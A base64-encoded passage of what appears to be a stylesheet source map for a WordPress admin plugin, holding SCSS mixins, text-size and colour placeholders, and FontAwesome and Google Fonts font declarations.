W4gZm9udC1pY29uLS1tKCRmb250U2l6ZTogbnVsbCkge1xuXHRmb250LWZhbWlseTogXCJNYXRlcmlhbCBJY29uc1wiO1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG5cdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdGxpbmUtaGVpZ2h0OiAxO1xuXHRsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuXHR0ZXh0LXRyYW5zZm9ybTogbm9uZTtcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHR3b3JkLXdyYXA6IG5vcm1hbDtcblx0ZGlyZWN0aW9uOiBsdHI7XG5cdC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcblx0LXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG5cdEBpZiAoJGZvbnRTaXplKSB7XG5cdFx0Zm9udC1zaXplOiAkZm9udFNpemU7XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdH0gQGVsc2Uge1xuXHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG59XG5cbkBtaXhpbiBmb250LWljb24tLWZhKCRmb250U2l6ZTogbnVsbCkge1xuXHRmb250LWZhbWlseTogXCJGb250QXdlc29tZVwiO1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG5cdGZvbnQtd2VpZ2h0OiA5MDA7XG5cdGxpbmUtaGVpZ2h0OiAxO1xuXHRsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuXHR0ZXh0LXRyYW5zZm9ybTogbm9uZTtcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHR3b3JkLXdyYXA6IG5vcm1hbDtcblx0ZGlyZWN0aW9uOiBsdHI7XG5cdC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcblx0LXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG5cdEBpZiAoJGZvbnRTaXplKSB7XG5cdFx0Zm9udC1zaXplOiAkZm9udFNpemU7XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdH0gQGVsc2Uge1xuXHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG59XG5cbi8vIFNJWkVTIC8vIEVORFxuLy8gR0VORVJBTFxuXG4lc2xuLXRleHRzaXplLS1iaWdnZXIge1xuXHRmb250LXNpemU6IDEuNGVtO1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdGZvbnQtc2l6ZTogMS42ZW07XG5cdH1cbn1cbiVzbG4tdGV4dHNpemUtLWJpZy0tbm9oZWlnaHQge1xuXHRmb250LXNpemU6IDEuNGVtO1xufVxuJXNsbi10ZXh0c2l6ZS0tbWVkaXVtLS1ub2hlaWdodCB7XG5cdGZvbnQtc2l6ZTogMS4yZW07XG59XG4lc2xuLXRleHRzaXplLS1iYXNlLS1ub2hlaWdodCB7XG5cdGZvbnQtc2l6ZTogMWVtO1xufVxuJXNsbi10ZXh0c2l6ZS0tc21hbGwtLW5vaGVpZ2h0IHtcblx0Zm9udC1zaXplOiAwLjhlbTtcbn1cbiVzbG4tdGV4dHNpemUtLXNtYWxsZXItLW5vaGVpZ2h0IHtcblx0Zm9udC1zaXplOiAwLjZlbTtcbn1cblxuJXNsbi10ZXh0c2l6ZS0tYmlnIHtcblx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iaWctLW5vaGVpZ2h0O1xuXHRsaW5lLWhlaWdodDogMS44ZW07XG59XG4lc2xuLXRleHRzaXplLS1tZWRpdW0ge1xuXHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLW1lZGl1bS0tbm9oZWlnaHQ7XG5cdGxpbmUtaGVpZ2h0OiAxLjZlbTtcbn1cbiVzbG4tdGV4dHNpemUtLWJhc2Uge1xuXHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLWJhc2UtLW5vaGVpZ2h0O1xuXHRsaW5lLWhlaWdodDogMS40ZW07XG59XG4lc2xuLXRleHRzaXplLS1zbWFsbCB7XG5cdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tc21hbGwtLW5vaGVpZ2h0O1xuXHRsaW5lLWhlaWdodDogMS40ZW07XG59XG4lc2xuLXRleHRzaXplLS1zbWFsbGVyIHtcblx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1zbWFsbGVyLS1ub2hlaWdodDtcblx0bGluZS1oZWlnaHQ6IDEuNGVtO1xufVxuXG5AbWl4aW4gdGV4dHNpemUoJHRleHRzaXplOiBudWxsKSB7XG5cdEBpZiAkdGV4dHNpemUgPT0gYmlnZ2VyIHtcblx0XHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLWJpZ2dlcjtcblx0fSBAZWxzZSBpZiAkdGV4dHNpemUgPT0gYmlnIHtcblx0XHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLWJpZztcblx0fSBAZWxzZSBpZiAkdGV4dHNpemUgPT0gbWVkaXVtIHtcblx0XHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLW1lZGl1bTtcblx0fSBAZWxzZSBpZiAkdGV4dHNpemUgPT0gYmFzZSB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iYXNlO1xuXHR9IEBlbHNlIGlmICR0ZXh0c2l6ZSA9PSBzbWFsbCB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1zbWFsbDtcblx0fSBAZWxzZSBpZiAkdGV4dHNpemUgPT0gc21hbGxlciB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1zbWFsbGVyO1xuXHR9XG59XG4jc2xuLXNhbG9uIHtcblx0Zm9udC1zaXplOiBtYXgoMXJlbSwgMTZweCk7XG5cdGgxIHtcblx0XHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLWJpZ2dlcjtcblx0fVxuXHRoMiB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iaWc7XG5cdFx0Ji5zbG4tc2Fsb24tdGl0bGUge1xuXHRcdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iaWdnZXI7XG5cdFx0fVxuXHR9XG5cdGgzIHtcblx0XHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLW1lZGl1bTtcblx0fVxuXHRwIHtcblx0XHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLWJhc2U7XG5cdH1cblx0LnNsbi1zYWxvbi10aXRsZSB7XG5cdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcblx0XHRmb250LXdlaWdodDogNjAwO1xuXHR9XG5cdC5zYWxvbi1zdGVwLXRpdGxlIHtcblx0XHQvL0BleHRlbmQgJXRleHQtY29sb3ItLWNvbnRyYXN0O1xuXHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWRhcmsoMSk7XG5cdH1cblx0LnNhbG9uLXN0ZXAtdGl0bGUge1xuXHRcdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tYmFzZTtcblx0XHRmb250LXdlaWdodDogbm9ybWFsO1xuXHR9XG59XG4vLyVzbG4tdGl0bGUtLW1lZGl1bSB7Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO31cbiVzbG4tdGl0bGUtLW1lZGl1bSB7XG5cdGZvbnQtc2l6ZTogMmVtO1xufVxuLy8gR0VORVJBTCAvLyBFTkRcblxuLy8gQ09MT1JTXG4uc2xuLXRleHQtLW1haW4ge1xuXHRAZXh0ZW5kICV0ZXh0LWNvbG9yLS1tYWluO1xufVxuLnNsbi10ZXh0LS1jb250cmFzdCB7XG5cdEBleHRlbmQgJXRleHQtY29sb3ItLWNvbnRyYXN0O1xufVxuLnNsbi10ZXh0LS1jb250cmFzdC0tYWxwaGEge1xuXHRAZXh0ZW5kICV0ZXh0LWNvbG9yLS1jb250cmFzdC0tYWxwaGE7XG59XG4uc2xuLXRleHQtLWRhcmsge1xuXHRAZXh0ZW5kICV0ZXh0LWNvbG9yLS1kYXJrO1xufVxuLnNsbi10ZXh0LS1lbXBoYXNpcyB7XG5cdEBleHRlbmQgJXRleHQtY29sb3ItLWVtcGhhc2lzO1xufVxuLnNsbi10ZXh0LS1lbXBoYXNpcy0taG92ZXJrIHtcblx0QGV4dGVuZCAldGV4dC1jb2xvci0tZW1waGFzaXMtLWhvdmVyO1xufVxuLnNsbi10ZXh0LS1ncmV5IHtcblx0QGV4dGVuZCAldGV4dC1jb2xvci0tZ3JleTtcbn1cbi5zbG4tdGV4dC0tb2sge1xuXHRAZXh0ZW5kICV0ZXh0LWNvbG9yLS1vaztcbn1cbi8vIENPTE9SUyAvLyBFTkRcblxuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4vLyAvLy8gRk9OVCBBV0VTT01FXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vICRmYS1mb250LXBhdGg6ICAgICAgICBcIi4uL2ZvbnRzXCIgIWRlZmF1bHQ7XG4kZmEtZm9udC1wYXRoOiBcIi4uL2ZvbnRzXCIgIWRlZmF1bHQ7XG4kZmEtdmVyc2lvbjogXCI1LjE0LjBcIiAhZGVmYXVsdDtcbkBmb250LWZhY2Uge1xuXHRmb250LWZhbWlseTogXCJGb250QXdlc29tZVwiO1xuXHRzcmM6IHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC5lb3Q\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKTtcblx0c3JjOlxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC5lb3Q\u002FI2llZml4JnY9I3skZmEtdmVyc2lvbn1cIilcblx0XHRcdGZvcm1hdChcImVtYmVkZGVkLW9wZW50eXBlXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC53b2ZmMj92PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJ3b2ZmMlwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQud29mZj92PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJ3b2ZmXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC50dGY\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKVxuXHRcdFx0Zm9ybWF0KFwidHJ1ZXR5cGVcIiksXG5cdFx0dXJsKFwiI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LnN2Zz92PSN7JGZhLXZlcnNpb259I2ZvbnRhd2Vzb21lc29saWRcIilcblx0XHRcdGZvcm1hdChcInN2Z1wiKTtcblx0Zm9udC13ZWlnaHQ6IDkwMDtcblx0Zm9udC1zdHlsZTogbm9ybWFsO1xufVxuXG5AZm9udC1mYWNlIHtcblx0Zm9udC1mYW1pbHk6IFwiRm9udEF3ZXNvbWVcIjtcblx0c3JjOiB1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci5lb3Q\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKTtcblx0c3JjOlxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLmVvdD8jaWVmaXgmdj0jeyRmYS12ZXJzaW9ufVwiKVxuXHRcdFx0Zm9ybWF0KFwiZW1iZWRkZWQtb3BlbnR5cGVcIiksXG5cdFx0dXJsKFwiI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LXJlZ3VsYXIud29mZjI\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKVxuXHRcdFx0Zm9ybWF0KFwid29mZjJcIiksXG5cdFx0dXJsKFwiI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LXJlZ3VsYXIud29mZj92PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJ3b2ZmXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLnR0Zj92PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJ0cnVldHlwZVwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci5zdmc\u002Fdj0jeyRmYS12ZXJzaW9ufSNmb250YXdlc29tZXJlZ3VsYXJcIilcblx0XHRcdGZvcm1hdChcInN2Z1wiKTtcblx0Zm9udC13ZWlnaHQ6IDQwMDtcblx0Zm9udC1zdHlsZTogbm9ybWFsO1xufVxuQGZvbnQtZmFjZSB7XG5cdGZvbnQtZmFtaWx5OiBcIkZvbnRBd2Vzb21lXCI7XG5cdHNyYzogdXJsKFwiI3skZmEtZm9udC1wYXRofS9mb250YXdlc29uZS13ZWJmb250LWJyYW5kcy5lb3Q\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKTtcblx0c3JjOlxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMuZW90PyNpZWZpeCZ2PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJlbWJlZGRlZC1vcGVudHlwZVwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb25lLXdlYmZvbnQtYnJhbmRzLndvZmYyP3Y9I3skZmEtdmVyc2lvbn1cIilcblx0XHRcdGZvcm1hdChcIndvZmYyXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMud29mZj92PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJ3b2ZmXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMudHRmP3Y9I3skZmEtdmVyc2lvbn1cIilcblx0XHRcdGZvcm1hdChcInRydWV0eXBlXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMuc3ZnP3Y9I3skZmEtdmVyc2lvbn0jZm9udGF3ZXNvbWVyZWd1bGFyXCIpXG5cdFx0XHRmb3JtYXQoXCJzdmdcIik7XG5cdGZvbnQtd2VpZ2h0OiAzMDA7XG5cdGZvbnQtc3R5bGU6IG5vcm1hbDtcbn1cbi8vIC8vLyBGT05UIEFXRVNPTUUgLy8gRU5EXG5cbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuLy8gLy8vIFdPUkRQUkVTUyBPVkVSUklERVNcbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuLndyYXAgaDIubmF2LXRhYi13cmFwcGVyIHtcblx0Zm9udC1zaXplOiAxZW07XG59XG4vLyAvLy8gV09SRFBSRVNTIE9WRVJSSURFUyAvLyBFTkRcbiIsIkB1c2UgJ3R5cG8nO1xuQHVzZSAnc2FzczptYXRoJztcbkB1c2UgJ2FkbWluX2NvbmZpZyc7XG5cbkB1c2UgJ3NldHRpbmdzLW1peGlucyc7XG5AaW1wb3J0ICdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3BlbitTYW5zOjMwMCw0MDAsNjAwLDcwMCc7XG4kZm9udGZhbWlseS0tbWFpbjogJ09wZW4gU2FucycsIHNhbnMtc2VyaWY7XG4kZm9udC1zaXplLWJhc2U6IDE0cHggIWRlZmF1bHQ7XG4kZm9udC1zaXplLWxhcmdlOiBtYXRoLmNlaWwoKCRmb250LXNpemUtYmFzZSAqIDEuMjUpKSAhZGVmYXVsdDsgLy8gfjE4cHhcbiRmb250LXNpemUtc21hbGw6IG1hdGguY2VpbCgoJGZvbnQtc2l6ZS1iYXNlICogMC44NSkpICFkZWZhdWx0OyAvLyB+MTJweFxuXG4vLyBTSVpFU1xuJWZvbnQtYmlnZ2VyIHtcbiAgZm9udC1mYW1pbHk6IHR5cG8uJGZvbnRmYW1pbHktLW1haW47XG4gIGZvbnQtc2l6ZTogMXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuOGVtO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xufVxuJWZvbnQtYmlnIHtcbiAgZm9udC1mYW1pbHk6IHR5cG8uJGZvbnRmYW1pbHktLW1haW47XG4gIGZvbnQtc2l6ZTogMS4xMjVyZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjhlbTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cblxuQG1peGluIGZvbnQtYmlnIHtcbiAgZm9udC1mYW1pbHk6IHR5cG8uJGZvbnRmYW1pbHktLW1haW47XG4gIGZvbnQtc2l6ZTogMS4xMjVyZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjhlbTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cblxuJWZvbnQtbWVkaXVtIHtcbiAgZm9udC1mYW1pbHk6IHR5cG8uJGZvbnRmYW1pbHktLW1haW47XG4gIGZvbnQtc2l6ZTogMC44NzVyZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjM3NWVtO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xufVxuXG5AbWl4aW4gZm9udC1tZWRpdW0ge1xuICBmb250LWZhbWlseTogdHlwby4kZm9udGZhbWlseS0tbWFpbjtcbiAgZm9udC1zaXplOiAwLjg3NXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuMzc1ZW07XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG59XG5cbiVmb250LXNtYWxsIHtcbiAgZm9udC1mYW1pbHk6IHR5cG8uJGZvbnRmYW1pbHktLW1haW47XG4gIGZvbnQtc2l6ZTogMC42ODc1cmVtO1xuICBsaW5lLWhlaWdodDogMS4yNWVtO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xufVxuXG4lZm9udC1iaWdnZXItbiB7XG4gIGZvbnQtZmFtaWx5OiB0eXBvLiRmb250ZmFtaWx5LS1tYWluO1xuICBmb250LXNpemU6IGVtKDIwcHgpO1xuICBsaW5lLWhlaWdodDogZW0oMzRweCk7XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICBmb250LXNpemU6IGVtKDI0cHgpO1xuICB9XG59XG4lZm9udC1iaWctbiB7XG4gIGZvbnQtZmFtaWx5OiB0eXBvLiRmb250ZmFtaWx5LS1tYWluO1xuICBmb250LXNpemU6IDFyZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjhlbTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cblxuJWZvbnQtbWVkaXVtLW4ge1xuICBmb250LWZhbWlseTogdHlwby4kZm9udGZhbWlseS0tbWFpbjtcbiAgZm9udC1zaXplOiBlbSgxNnB4KTtcbiAgbGluZS1oZWlnaHQ6IGVtKDIycHgpO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xufVxuXG4lZm9udC1zbWFsbC1uIHtcbiAgZm9udC1mYW1pbHk6IHR5cG8uJGZvbnRmYW1pbHktLW1haW47XG4gIGZvbnQtc2l6ZTogZW0oMTRweCk7XG4gIGxpbmUtaGVpZ2h0OiBlbSgyMHB4KTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cblxuLy8gU0laRVMgLy8gRU5EXG5cbi8vIENPTE9SU1xuJWZvbnQtY2xfc3RhbmRhcmQge1xuICBjb2xvcjogIzQ0NDtcbn1cbiVmb250LWNsX3N0YW5kYXJkLS1tZWRpdW0ge1xuICBjb2xvcjogIzg4ODtcbn1cbiVmb250LWNsX3N0YW5kYXJkLS1saWdodCB7XG4gIGNvbG9yOiAjY2NjO1xufVxuJWZvbnQtY2xfbWFpbiB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG59XG4lZm9udC1jbF9tYWluLS1tZWRpdW0ge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1tZWRpdW07XG59XG4lZm9udC1jbF9tYWluLS1saWdodCB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xufVxuJWZvbnQtY2xfbWFpbi0tZW1waGFzaXMge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbn1cbiVmb250LWNsX3Byb2JsZW0ge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xufVxuJWZvbnQtY2xfcHJvYmxlbS0tbGlnaHQge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9wcm9ibGVtLS1saWdodDtcbn1cbiVmb250LWNsX3dhcm5pbmcge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF93YXJuaW5nO1xufVxuJWZvbnQtY2xfd2FybmluZy0tbGlnaHQge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF93YXJuaW5nLS1saWdodDtcbn1cbiVmb250LWNsX29rIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfb2s7XG59XG4vLyBDT0xPUlMgLy8gRU5EXG5cbiVmb250LWljb24ge1xuICAvL2NvbG9yOiB3aGl0ZTtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIGZvbnQtc2l6ZTogMC45MnJlbTtcbiAgZm9udC13ZWlnaHQ6IDkwMDtcbn1cbiVzbG4tdGV4dHNpemUtLWJpZ2dlciB7XG4gIGZvbnQtc2l6ZTogMS40ZW07XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgZm9udC1zaXplOiAxLjZlbTtcbiAgfVxufVxuQG1peGluIGZvbnQtaWNvbigkZm9udFNpemU6IG51bGwpIHtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIGZvbnQtd2VpZ2h0OiA5MDA7XG4gIEBpZiAoJGZvbnRTaXplKSB7XG4gICAgZm9udC1zaXplOiAkZm9udFNpemU7XG4gICAgbGluZS1oZWlnaHQ6IDA7XG4gIH0gQGVsc2Uge1xuICAgIGZvbnQtc2l6ZTogMWVtO1xuICAgIGxpbmUtaGVpZ2h0OiAwO1xuICB9XG59XG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vIC8vLyBGT05UIEFXRVNPTUVcbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuJGZhLWZvbnQtcGF0aDogJy4uL2ZvbnRzJyAhZGVmYXVsdDtcbiRmYS12ZXJzaW9uOiAnNS4xNC4wJyAhZGVmYXVsdDtcbkBmb250LWZhY2Uge1xuICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgc3JjOiB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC5lb3Q\u002Fdj0jeyRmYS12ZXJzaW9ufScpO1xuICBzcmM6XG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQuZW90PyNpZWZpeCZ2PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgnZW1iZWRkZWQtb3BlbnR5cGUnKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC53b2ZmMj92PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgnd29mZjInKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC53b2ZmP3Y9I3skZmEtdmVyc2lvbn0nKVxuICAgICAgZm9ybWF0KCd3b2ZmJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQudHRmP3Y9I3skZmEtdmVyc2lvbn0nKVxuICAgICAgZm9ybWF0KCd0cnVldHlwZScpLFxuICAgIHVybCgnI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LnN2Zz92PSN7JGZhLXZlcnNpb259I2ZvbnRhd2Vzb21lc29saWQnKVxuICAgICAgZm9ybWF0KCdzdmcnKTtcbiAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgZm9udC1zdHlsZTogbm9ybWFsO1xufVxuXG4vKiBGSVggMDkyMDIzIFxuKi9cbkBmb250LWZhY2Uge1xuICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgc3JjOiB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLmVvdD92PSN7JGZhLXZlcnNpb259Jyk7XG4gIHNyYzpcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLmVvdD8jaWVmaXgmdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ2VtYmVkZGVkLW9wZW50eXBlJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci53b2ZmMj92PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgnd29mZjInKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLndvZmY\u002Fdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ3dvZmYnKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLnR0Zj92PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgndHJ1ZXR5cGUnKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLnN2Zz92PSN7JGZhLXZlcnNpb259I2ZvbnRhd2Vzb21lcmVndWxhcicpXG4gICAgICBmb3JtYXQoJ3N2ZycpO1xuICBmb250LXdlaWdodDogNDAwO1xuICBmb250LXN0eWxlOiBub3JtYWw7XG59XG5cbkBmb250LWZhY2Uge1xuICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgc3JjOiB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMuZW90P3Y9I3skZmEtdmVyc2lvbn0nKTtcbiAgc3JjOlxuICAgIHVybCgnI3skZmEtZm9udC1wYXRofS9mb250YXdlc29uZS13ZWJmb250LWJyYW5kcy5lb3Q\u002FI2llZml4JnY9I3skZmEtdmVyc2lvbn0nKVxuICAgICAgZm9ybWF0KCdlbWJlZGRlZC1vcGVudHlwZScpLFxuICAgIHVybCgnI3skZmEtZm9udC1wYXRofS9mb250YXdlc29uZS13ZWJmb250LWJyYW5kcy53b2ZmMj92PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgnd29mZjInKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMud29mZj92PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgnd29mZicpLFxuICAgIHVybCgnI3skZmEtZm9udC1wYXRofS9mb250YXdlc29uZS13ZWJmb250LWJyYW5kcy50dGY\u002Fdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ3RydWV0eXBlJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb25lLXdlYmZvbnQtYnJhbmRzLnN2Zz92PSN7JGZhLXZlcnNpb259I2ZvbnRhd2Vzb21lcmVndWxhcicpXG4gICAgICBmb3JtYXQoJ3N2ZycpO1xuICBmb250LXdlaWdodDogMzAwO1xuICBmb250LXN0eWxlOiBub3JtYWw7XG59XG4vLyAvLy8gRk9OVCBBV0VTT01FIC8vIEVORFxuXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vIC8vLyBXT1JEUFJFU1MgT1ZFUlJJREVTXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi53cmFwIGgyLm5hdi10YWItd3JhcHBlciB7XG4gIGZvbnQtc2l6ZTogMWVtO1xufVxuLy8gLy8vIFdPUkRQUkVTUyBPVkVSUklERVMgLy8gRU5EXG4iLCJAdXNlIFwic2FzczptYXRoXCI7XG5AdXNlIFwic2Fzczpjb2xvclwiO1xuLy8gVkFSSUFCTEVTXG4jc2